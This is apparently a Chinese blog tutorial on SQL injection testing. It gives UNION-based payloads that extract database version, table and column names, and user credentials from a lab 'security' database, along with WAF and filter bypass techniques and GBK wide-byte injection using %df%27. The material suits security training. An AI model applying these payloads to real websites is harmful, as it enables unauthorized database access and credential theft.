渗透测试——sql注入

该博客详细介绍了SQL注入的判断、利用和绕过方法。首先通过单引号测试确定注入点,接着讲解如何识别数字型和字符型注入。在SQL注入利用部分,讲述了获取数据库信息和绕过策略,包括注释符号、大小写、双写关键字等方式。对于WAF过滤,提出了特殊编码、空格替代和逻辑运算符绕过等技巧。最后,讨论了宽字节注入,解释了PHP和MySQL的字符集交互如何导致漏洞,并给出了相应对策。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

判断注入点

  1. 单引号判断
    http://xxx/abc.php?id=1'
    如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。 (如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)
    在这里插入图片描述

  2. 判断sql注入类型

    1. 数字型
      ?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
    2. 字符型
      ?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
      在这里插入图片描述

sql注入利用

  1. 获取数据库和版本信息
    ?id=1’ and 1=2 union select 1,@@version,database() --%20
    在这里插入图片描述
  2. 查看security数据库所包含的表
    ?id=1’ and 1=2 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=‘security’ --%20
    在这里插入图片描述
  3. 查看相应表中的字段名
    ?id=1’ and 1=2 union select 1,group_concat(column_name),table_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ --%20
    在这里插入图片描述
  4. 直接获取相关信息
    ?id=1%27%20and%201=2%20union%20select%201,group_concat(username),group_concat(password)%20%20from%20security.users%20--%20
    在这里插入图片描述

sql注入绕过

  1. 注释符号绕过
    常用的注释符有

    --+ 注释内容
    # 注释内容
    /*注释内容*/
    ;
    
  2. 大小写绕过

  3. 内联注释绕过
    内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
    在这里插入图片描述

  4. 双写关键字绕过
    在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。

  5. 特殊编码绕过

    1. 十六进制绕过
  6. 空格过滤绕过
    一般绕过空格过滤的方法有以下几种方法来取代空格

    /**/
    ()
    回车(url编码中的%0a)
    `(tap键上面的按钮)
    tap
    两个空格
    

    在这里插入图片描述

  7. or and xor not 绕过

    and = &&
    or = ||
    xor = | # 异或
    not = !
    
  8. 等号=绕过

    1. 不加通配符的like执行的效果和=一致,所以可以用来绕过。
    2. rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
    3. regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
    4. 使用大小于号来绕过
    5. <> 等价于 !=, 所以在前面再加一个!结果就是等号了
  9. 过滤大小于号绕过

    1. greatest(n1, n2, n3…):返回n中的最大值
    2. least(n1,n2,n3…):返回n中的最小值
    3. strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
    4. in关键字
    5. between a and b:范围在a-b之间

宽字节注入

php后端会对我们的输入进行转义,转义的方式通常是加上’\’,

GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

GBK中字符是一个或者两个字节,单字节00–7F这个区间和ASCII是一样的;双字节字符的第一个字节在81-FE之间,通过这个可以判断是单字节还是双字节

在这里插入图片描述
看到提示,输入被转义为 1/’
输入:?id=1a%df%27
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值